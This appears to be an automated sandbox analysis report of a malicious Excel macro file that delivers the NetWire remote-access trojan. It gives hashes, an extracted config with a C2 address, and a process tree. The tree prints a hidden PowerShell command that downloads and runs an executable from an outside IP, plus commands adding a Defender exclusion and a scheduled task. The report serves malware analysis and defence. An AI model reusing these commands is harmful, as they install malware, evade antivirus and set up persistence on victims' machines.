Analysis
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max time kernel
130s -
max time network
152s -
platform
windows10-2004_x64 -
resource
win10v2004-20220812-en -
resource tags
arch:x64arch:x86image:win10v2004-20220812-enlocale:en-usos:windows10-2004-x64system -
submitted
24-01-2023 08:08
Behavioral task
behavioral1
Sample
invoice_78336.xlsm
Resource
win7-20221111-en
General
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Target
invoice_78336.xlsm
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Size
42KB
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MD5
8588c1999a06ff9c06d12fee925b9018
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SHA1
af5ef23dbcc31847788d1a2522b689a8dfd0f124
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SHA256
c94cca2c1e58461023c08ac630cb28cb0940566373c8fa988c480736597a8840
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SHA512
62c175443fb7b0c58be53f84cdf78d441670eb1ecfed27d7c41f06505a8e036f81c4d7ea086c42cdfcf23d5256404dfccf2b6372fa1a538bbe66d8e54ac9305d
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SSDEEP
768:7lvRPlvHssndawBIJYfTH+niSpPvDH7iv+nW4FFiKk/f0qtM2CHWRQ+nYANm:ZvnvHTdawG1BxT7iv+PFFi3/8qahHWt+
Malware Config
Extracted
netwire
212.193.30.230:3363
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activex_autorun
false
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copy_executable
false
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delete_original
false
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host_id
HostId-%Rand%
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keylogger_dir
%AppData%\Logs\
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lock_executable
false
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offline_keylogger
true
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password
Password@2
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registry_autorun
false
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use_mutex
false
Signatures
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NetWire RAT payload 3 IoCs
Processes:
resource yara_rule behavioral2/memory/3460-157-0x0000000000400000-0x0000000000433000-memory.dmp netwire behavioral2/memory/3460-160-0x0000000000400000-0x0000000000433000-memory.dmp netwire behavioral2/memory/3460-164-0x0000000000400000-0x0000000000433000-memory.dmp netwire -
Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
Processes:
powershell.exedescription pid pid_target process target process Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process 4880 4928 powershell.exe EXCEL.EXE -
Blocklisted process makes network request 1 IoCs
Processes:
powershell.exeflow pid process 12 4880 powershell.exe -
Downloads MZ/PE file
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Executes dropped EXE 2 IoCs
Processes:
tmp9AFC.exetmp9AFC.exepid process 2112 tmp9AFC.exe 3460 tmp9AFC.exe -
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
Processes:
tmp9AFC.exedescription ioc process Key value queried \REGISTRY\USER\S-1-5-21-2295526160-1155304984-640977766-1000\Control Panel\International\Geo\Nation tmp9AFC.exe -
Suspicious use of SetThreadContext 1 IoCs
Processes:
tmp9AFC.exedescription pid process target process PID 2112 set thread context of 3460 2112 tmp9AFC.exe tmp9AFC.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
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Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
Processes:
EXCEL.EXEdescription ioc process Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString EXCEL.EXE -
Creates scheduled task(s) 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
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Enumerates system info in registry 2 TTPs 3 IoCs
Processes:
EXCEL.EXEdescription ioc process Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU EXCEL.EXE -
Suspicious behavior: AddClipboardFormatListener 1 IoCs
Processes:
EXCEL.EXEpid process 4928 EXCEL.EXE -
Suspicious behavior: EnumeratesProcesses 4 IoCs
Processes:
powershell.exepowershell.exepid process 4880 powershell.exe 4880 powershell.exe 4624 powershell.exe 4624 powershell.exe -
Suspicious use of AdjustPrivilegeToken 2 IoCs
Processes:
powershell.exepowershell.exedescription pid process Token: SeDebugPrivilege 4880 powershell.exe Token: SeDebugPrivilege 4624 powershell.exe -
Suspicious use of SetWindowsHookEx 12 IoCs
Processes:
EXCEL.EXEpid process 4928 EXCEL.EXE 4928 EXCEL.EXE 4928 EXCEL.EXE 4928 EXCEL.EXE 4928 EXCEL.EXE 4928 EXCEL.EXE 4928 EXCEL.EXE 4928 EXCEL.EXE 4928 EXCEL.EXE 4928 EXCEL.EXE 4928 EXCEL.EXE 4928 EXCEL.EXE -
Suspicious use of WriteProcessMemory 22 IoCs
Processes:
EXCEL.EXEpowershell.exetmp9AFC.exedescription pid process target process PID 4928 wrote to memory of 4880 4928 EXCEL.EXE powershell.exe PID 4928 wrote to memory of 4880 4928 EXCEL.EXE powershell.exe PID 4880 wrote to memory of 2112 4880 powershell.exe tmp9AFC.exe PID 4880 wrote to memory of 2112 4880 powershell.exe tmp9AFC.exe PID 4880 wrote to memory of 2112 4880 powershell.exe tmp9AFC.exe PID 2112 wrote to memory of 4624 2112 tmp9AFC.exe powershell.exe PID 2112 wrote to memory of 4624 2112 tmp9AFC.exe powershell.exe PID 2112 wrote to memory of 4624 2112 tmp9AFC.exe powershell.exe PID 2112 wrote to memory of 2132 2112 tmp9AFC.exe schtasks.exe PID 2112 wrote to memory of 2132 2112 tmp9AFC.exe schtasks.exe PID 2112 wrote to memory of 2132 2112 tmp9AFC.exe schtasks.exe PID 2112 wrote to memory of 3460 2112 tmp9AFC.exe tmp9AFC.exe PID 2112 wrote to memory of 3460 2112 tmp9AFC.exe tmp9AFC.exe PID 2112 wrote to memory of 3460 2112 tmp9AFC.exe tmp9AFC.exe PID 2112 wrote to memory of 3460 2112 tmp9AFC.exe tmp9AFC.exe PID 2112 wrote to memory of 3460 2112 tmp9AFC.exe tmp9AFC.exe PID 2112 wrote to memory of 3460 2112 tmp9AFC.exe tmp9AFC.exe PID 2112 wrote to memory of 3460 2112 tmp9AFC.exe tmp9AFC.exe PID 2112 wrote to memory of 3460 2112 tmp9AFC.exe tmp9AFC.exe PID 2112 wrote to memory of 3460 2112 tmp9AFC.exe tmp9AFC.exe PID 2112 wrote to memory of 3460 2112 tmp9AFC.exe tmp9AFC.exe PID 2112 wrote to memory of 3460 2112 tmp9AFC.exe tmp9AFC.exe
Processes
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C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\invoice_78336.xlsm"1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -WindowStyle hidden -executionpolicy bypass; $TempFile = [IO.Path]::GetTempFileName() | Rename-Item -NewName { $_ -replace 'tmp$', 'exe' } –PassThru; Invoke-WebRequest -Uri "http://198.23.172.90/statement.exe" -OutFile $TempFile; Start-Process $TempFile;2⤵
- Process spawned unexpected child process
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
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C:\Users\Admin\AppData\Local\Temp\tmp9AFC.exe"C:\Users\Admin\AppData\Local\Temp\tmp9AFC.exe"3⤵
- Executes dropped EXE
- Checks computer location settings
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
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C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Roaming\ARvNQxJkzcNg.exe"4⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
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C:\Windows\SysWOW64\schtasks.exe"C:\Windows\System32\schtasks.exe" /Create /TN "Updates\ARvNQxJkzcNg" /XML "C:\Users\Admin\AppData\Local\Temp\tmp47C7.tmp"4⤵
- Creates scheduled task(s)
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C:\Users\Admin\AppData\Local\Temp\tmp9AFC.exe"C:\Users\Admin\AppData\Local\Temp\tmp9AFC.exe"4⤵
- Executes dropped EXE
Network
MITRE ATT&CK Matrix ATT&CK v6
Replay Monitor
Loading Replay Monitor...
Downloads
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C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractiveFilesize
1KB
MD59b53429e28f910e125239e95e23ef267
SHA18963b2eb63e21642545b2a023e7fb41332a23e13
SHA25620f516fc915cd85d967a78663cdc344b70d99fcb79fc0f96bb199def8c7b4cd2
SHA512db592560dc8c20866634be7cc0a576873e5e0efab6d8ba700eb5a822aa8fc409a337a474320df161bb45503608a6065664a15d685dc04994960706d5bc986055
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C:\Users\Admin\AppData\Local\Temp\tmp47C7.tmpFilesize
1KB
MD54495a85f9486b8806e4ef180e7d0172f
SHA19b8c678f22dbdf86f47f067901428b38b1eb3e98
SHA256a51b06c1cbe309432e5c2830c4149cc64923f1f2de78ac812478837d69de8872
SHA5124a1ef374a465bb3151d59f7b5b458622eed9cbd270a1edae3efd9526a82ccf5ec0a980867f9127a837fd4578b861ec71dfebc8be53bcaa57933e91c94cc1c49a
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C:\Users\Admin\AppData\Local\Temp\tmp9AFC.exeFilesize
767KB
MD5f4cb41dd766d9936b4dcbca5075ffbc1
SHA1e185a7639c26468f4fb62169b6037e2e4d99f75a
SHA25685e8c923778743576884ef91502873590a7d6ae7675c526fbad2418091685bc0
SHA512c3ea0c269177205c8573662ed5b5a9b6c242e9538c66c6b72871e2bc7d107d0db686b33c2e4ba2baf59a6877a07b9c2d65b2f50535e7d2eacffaf7f2274eb03a
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C:\Users\Admin\AppData\Local\Temp\tmp9AFC.exeFilesize
767KB
MD5f4cb41dd766d9936b4dcbca5075ffbc1
SHA1e185a7639c26468f4fb62169b6037e2e4d99f75a
SHA25685e8c923778743576884ef91502873590a7d6ae7675c526fbad2418091685bc0
SHA512c3ea0c269177205c8573662ed5b5a9b6c242e9538c66c6b72871e2bc7d107d0db686b33c2e4ba2baf59a6877a07b9c2d65b2f50535e7d2eacffaf7f2274eb03a
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C:\Users\Admin\AppData\Local\Temp\tmp9AFC.exeFilesize
767KB
MD5f4cb41dd766d9936b4dcbca5075ffbc1
SHA1e185a7639c26468f4fb62169b6037e2e4d99f75a
SHA25685e8c923778743576884ef91502873590a7d6ae7675c526fbad2418091685bc0
SHA512c3ea0c269177205c8573662ed5b5a9b6c242e9538c66c6b72871e2bc7d107d0db686b33c2e4ba2baf59a6877a07b9c2d65b2f50535e7d2eacffaf7f2274eb03a
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memory/2112-148-0x00000000058A0000-0x0000000005932000-memory.dmpFilesize
584KB
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memory/2112-142-0x0000000000000000-mapping.dmp
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memory/2112-146-0x0000000000EA0000-0x0000000000F66000-memory.dmpFilesize
792KB
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memory/2112-150-0x0000000008F30000-0x0000000008FCC000-memory.dmpFilesize
624KB
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memory/2112-149-0x0000000005800000-0x000000000580A000-memory.dmpFilesize
40KB
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memory/2112-147-0x0000000005DB0000-0x0000000006354000-memory.dmpFilesize
5.6MB
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memory/2132-152-0x0000000000000000-mapping.dmp
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memory/3460-155-0x0000000000000000-mapping.dmp
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memory/3460-164-0x0000000000400000-0x0000000000433000-memory.dmpFilesize
204KB
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memory/3460-157-0x0000000000400000-0x0000000000433000-memory.dmpFilesize
204KB
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memory/3460-160-0x0000000000400000-0x0000000000433000-memory.dmpFilesize
204KB
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memory/4624-168-0x00000000710C0000-0x000000007110C000-memory.dmpFilesize
304KB
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memory/4624-172-0x00000000072D0000-0x00000000072DA000-memory.dmpFilesize
40KB
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memory/4624-169-0x0000000006500000-0x000000000651E000-memory.dmpFilesize
120KB
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memory/4624-151-0x0000000000000000-mapping.dmp
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memory/4624-176-0x0000000007580000-0x0000000007588000-memory.dmpFilesize
32KB
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memory/4624-153-0x0000000002660000-0x0000000002696000-memory.dmpFilesize
216KB
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memory/4624-175-0x00000000075A0000-0x00000000075BA000-memory.dmpFilesize
104KB
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memory/4624-156-0x0000000005210000-0x0000000005838000-memory.dmpFilesize
6.2MB
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memory/4624-174-0x0000000007490000-0x000000000749E000-memory.dmpFilesize
56KB
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memory/4624-171-0x0000000007250000-0x000000000726A000-memory.dmpFilesize
104KB
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memory/4624-167-0x0000000006520000-0x0000000006552000-memory.dmpFilesize
200KB
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memory/4624-166-0x0000000005F30000-0x0000000005F4E000-memory.dmpFilesize
120KB
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memory/4624-161-0x0000000004F80000-0x0000000004FA2000-memory.dmpFilesize
136KB
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memory/4624-162-0x0000000005040000-0x00000000050A6000-memory.dmpFilesize
408KB
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memory/4624-163-0x0000000005840000-0x00000000058A6000-memory.dmpFilesize
408KB
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memory/4624-173-0x00000000074E0000-0x0000000007576000-memory.dmpFilesize
600KB
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memory/4624-170-0x0000000007890000-0x0000000007F0A000-memory.dmpFilesize
6.5MB
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memory/4880-140-0x00000161B9430000-0x00000161B9452000-memory.dmpFilesize
136KB
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memory/4880-141-0x00007FFE76BF0000-0x00007FFE776B1000-memory.dmpFilesize
10.8MB
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memory/4880-139-0x0000000000000000-mapping.dmp
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memory/4880-145-0x00007FFE76BF0000-0x00007FFE776B1000-memory.dmpFilesize
10.8MB
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memory/4928-136-0x00007FFE5F790000-0x00007FFE5F7A0000-memory.dmpFilesize
64KB
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memory/4928-137-0x00007FFE5D230000-0x00007FFE5D240000-memory.dmpFilesize
64KB
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memory/4928-133-0x00007FFE5F790000-0x00007FFE5F7A0000-memory.dmpFilesize
64KB
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memory/4928-138-0x00007FFE5D230000-0x00007FFE5D240000-memory.dmpFilesize
64KB
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memory/4928-132-0x00007FFE5F790000-0x00007FFE5F7A0000-memory.dmpFilesize
64KB
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memory/4928-134-0x00007FFE5F790000-0x00007FFE5F7A0000-memory.dmpFilesize
64KB
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memory/4928-135-0x00007FFE5F790000-0x00007FFE5F7A0000-memory.dmpFilesize
64KB
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memory/4928-178-0x00007FFE5F790000-0x00007FFE5F7A0000-memory.dmpFilesize
64KB
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memory/4928-179-0x00007FFE5F790000-0x00007FFE5F7A0000-memory.dmpFilesize
64KB
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memory/4928-180-0x00007FFE5F790000-0x00007FFE5F7A0000-memory.dmpFilesize
64KB
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memory/4928-181-0x00007FFE5F790000-0x00007FFE5F7A0000-memory.dmpFilesize
64KB